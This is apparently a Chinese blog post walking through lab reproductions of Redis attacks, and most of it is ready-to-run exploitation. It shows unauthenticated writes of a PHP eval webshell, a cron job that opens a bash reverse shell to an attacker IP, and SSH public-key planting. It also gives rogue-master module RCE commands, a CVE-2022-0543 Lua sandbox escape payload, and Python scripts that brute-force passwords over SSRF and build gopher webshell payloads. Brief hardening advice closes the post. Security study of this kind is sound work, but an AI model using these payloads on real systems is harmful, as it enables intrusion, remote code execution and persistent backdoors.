Redis漏洞复现

redis

非关系性数据库,内存数据存储系统,以键值对(key-value)的形式存储数据,用作数据库、缓存和消息队列。

Redis 的特点:
✅ 基于内存,速度极快:
所有数据都存储在内存中,读写速度非常快,适合做缓存使用。

✅ 支持多种数据结构:
不仅仅是字符串,复杂结构的操作也非常方便。

✅ 持久化:
虽然在内存中运行,但可以将数据定期保存到磁盘,以防丢失。

✅ 支持发布/订阅:
可以作为轻量级的消息中间件使用。

✅ 分布式支持:
通过主从复制、哨兵机制、集群等方式可以进行横向扩展和高可用部署。

Redis 常作为 数据库(如MySQL) 的加速层 使用。它可以显著减少数据库压力,提升系统响应速度。

默认使用6379端口

redis常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
set xz "Hacker"                     # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
SET score 857 # 设置键score的值为857
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
redis-cli -h ip -p 6379 -a passwd # 外部连接
info #查看redis的信息和服务器信息

1.使用SET和GET命令,可以完成基本的赋值和取值操作;
2.Redis是不区分命令的大小写的,set和SET是同一个意思;
3.使用keys *可以列出当前数据库中的所有键;
4.当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
5.如果键的值中有空格,需要使用双引号括起来,如”Hello World”.

未授权

未授权是后续攻击的前提

1
#requirepass foobared 可以使用空密码

环境搭建

centos

Redis <= 5.0.5

1
2
3
4
5
6
7
8
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar -zxvf redis-2.8.17.tar.gz
cd redis-2.8.17/
make
cd src
./redis-cli -h
sudo make install
make test

关闭防火墙,不然有可能打不进去,所以说防火墙还是有点东西的。

1
2
3
4
永久关闭
sudo systemctl disable firewalld
停止,重启时启动
sudo systemctl stop firewalld

启动服务

src目录

1
./redis-server ../redis.conf

探测

1
nmap -sV -p 6379 -script redis-info 192.168.88.155

扫描出东西,没关闭防火墙,可能只扫的出6379端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-15 05:17 EDT
Nmap scan report for 192.168.88.155
Host is up (0.00026s latency).

PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 2.8.17 (64 bits)
| redis-info:
| Version: 2.8.17
| Operating System: Linux 3.10.0-1160.el7.x86_64 x86_64
| Architecture: 64 bits
| Process ID: 10224
| Used CPU (sys): 0.06
| Used CPU (user): 0.01
| Connected clients: 2
| Connected slaves: 0
| Used memory: 512.22K
| Role: master
| Bind addresses:
| 0.0.0.0
| Client connections:
|_ 192.168.88.129
MAC Address: 00:0C:29:A0:53:7E (VMware)

连接

1
2
redis-cli -h 192.168.88.155
info #查看信息

写webshell

利用条件

1.#bind 127.0.0.1 仅允许本地访问,如果有注释符,则外部可以链接Redis数据库
2.protected-mode no 安全模式(从 3.2 开始引入),默认关闭
3.redis服务有root权限,或者高权限,可做一些事

部分目录可能无权限写入,因为redis-server服务是普通用户权限开启的,这时候就需要root用户

1
2
3
4
5
6
7
8
9
10
config set dir /var/www/html
config set dbfilename redis.php
set webshell "<?php eval($_POST[1]); ?>"

或者

set x "\r\n\r\n<?php eval($_POST[1]); ?>\r\n\r\n"

bgsave
save

下面这个更好一点,可以减轻干扰。

定时任务反弹shell

利用条件
1
2
3
4
5
6
7
允许异地登录 
#bind 127.0.0.1

安全模式protected-mode处于关闭状态
protected-mode no

Redis服务使用ROOT账号启动
1
2
3
4
5
6
7
8
9
10
11
12
13
14
flushall  

//设置启动目录
config set dir /var/spool/cron

//设置启动命令 实践可以,马上弹
set root "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.88.129/9999 0>&1\n\n\n"

待修改,没实验成功
set root "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.88.129/9999 0>&1 \n\n\n"

//保存的文件名
config set dbfilename root
save

注意:

默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw——-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行
因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

查看运行shell,linux区分大小写

1
echo $SHELL
为什么有些命令找不到

我早执行ifconfig时未找到,which一下

1
2
[root@localhost cron]# which ifconfig
/sbin/ifconfig

反弹 shell 很“瘦”,不像你平时登陆的终端那样加载完整的用户环境,它可能连 PATH 都不完整。

kali-linux-2024.1-vmware-amd64-2025-04-15-21-37-44

1
export PATH=$PATH:/sbin:/usr/sbin

成功

kali-linux-2024.1-vmware-amd64-2025-04-15-21-41-40

不是,这邮件是什么啊

kali-linux-2024.1-vmware-amd64-2025-04-15-21-43-14

应该是redis那边写进去的定时任务还在跑,但是这边没有监听了。

写入ssh公钥

利用条件:

1.允许异地登录
2.Redis服务使用ROOT账号启动
3.安全模式protected-mode处于关闭状态
4.允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
5./root/.ssh/目录存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
在kali主机中执行:
ssh-keygen -t rsa
cd ~/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.88.155 -x set xxx

连接到192.168.88.155中执行:
redis-cli -h 192.168.88.155
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

在kali中连接:
cd ~/.ssh/
ssh -i id_rsa root@192.168.88.155

image-20250415200234858

主从复制

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据尽量保持一致,从机只负责读,主机只负责写。

在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

实验环境:redis4.0.2

满足利用条件

修改redis.conf

1
2
3
原本
bind 127.0.0.1
protected-mode yes

修改后

1
2
#bind 127.0.0.1
protected-mode no

利用工具

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

https://github.com/Ridter/redis-rce

复现

对RedisModules-ExecuteCommand工具

1
2
cd src
make

可能报错缺少相关库,打开module.c文件,添加库文件

1
2
#include <string.h>     // ← 添加这行
#include <arpa/inet.h> // ← 添加这行

把module.so移动到redis-rce目录

1
cp ./src/module.so ../redis-rce-master

使用 redis-rce

1
2
3
python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

python redis-rce.py -r 192.168.88.155 -p 6379 -L 192.168.88.129 -f module.so

CNVD-2019-21763

RCE自动化利用脚本-vulfocus(需要版本4.x和5.x)

利用到工具:https://github.com/vulhub/redis-rogue-getshell
参考文章:https://vulhub.org/#/environments/redis/4-unacc/

上传到175.178.151.29服务器中,然后执行:

1
python redis-master.py -r 123.58.236.76 -p 56879 -L 47.100.167.248 -P 1111 -f RedisModulesSDK/exp.so -c "id"

沙箱绕过RCE

CVE-2022-0543-vulfocus

参考:https://vulhub.org/#/environments/redis/CVE-2022-0543/

Poc:执行id命令
连接到redis,执行;

1
2
redis-cli -h 123.58.236.76 -p 8736
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

脚本

如果redis需要为有认证的,需要密码,我们也可以利用脚本爆破弱口令的密码(在后面)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import urllib.request
import urllib.parse

url = "http://xx.xx.xx.xx:8000/ssrf.php?url="

param = 'dict://127.0.0.1:6788/auth:'

with open(r'd:\test\top100.txt', 'r') as f: #字典
for i in range(100):
passwd = f.readline()
all_url = url + param + passwd
# print(all_url)
request = urllib.request.Request(all_url)
response = urllib.request.urlopen(request).read()
# print(response)
if "+OK\r\n+OK\r\n".encode() in response: #因为是不知道是否正确,可以用not in
print("redis passwd: " + passwd)
break

如果不需要密码,直接用下面的脚本;如果有密码,用上面的脚本爆,再用下面的脚本构成payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib.parse
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="1.php"
path="/var/www/html"
passwd="" #如果无密码就不加,如果有密码就加
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(urllib.parse.quote(payload))

再提供一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen

url = "http://xxxxxx/?url="
gopher = "gopher://127.0.0.1:6379/_"

def get_password():
f = open("message.txt", "r") #密码文件
return f.readlines()

def encoder_url(cmd):
urlencoder = quote(cmd).replace("%0A", "%0D%0A")
return urlencoder

###------暴破密码,无密码可删除-------###
for password in get_password():
# 攻击脚本
path = "/var/www/html"
shell = "\\n\\n\\n<?php eval($_POST['cmd']);?>\\n\\n\\n"
filename = "shell.php"

cmd = """
auth %s
quit
""" % password
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
# 发起请求
print(payload)
request = Request(payload)
response = urlopen(request).read().decode()
print("This time password is:" + password)
print("Get response is:")
print(response)
if response.count("+OK") > 1:
print("find password : " + password)
#####---------------如无密码,直接从此开始执行---------------#####
cmd = """
auth %s
config set dir %s
config set dbfilename %s
set test1 "%s"
save
quit
""" % (password, path, filename, shell)
# 二次编码
encoder = encoder_url(encoder_url(cmd))
# 生成payload
payload = url + gopher + encoder
# 发起请求
request = Request(payload)
print(payload)
response = urlopen(request).read().decode()
print("response is:" + response)
if response.count("+OK") > 5:
print("Write success!")
exit()
else:
print("Write failed. Please check and try again")
exit()
#####---------------如无密码,到此处结束------------------#####
print("Password not found!")
print("Please change the dictionary,and try again.")

正确做法

1
2
3
4
5
6
设置密码
requirepass your_strong_password
限制只在本地登录,监听本地端口
bind 127.0.0.1
开启安全模式
protected-mode yes

参考文章

Redis漏洞及其利用方式-先知社区


Redis漏洞复现
https://rpniu.github.io/2025/04/17/Redis/
作者
rPniu
发布于
2025年4月17日
许可协议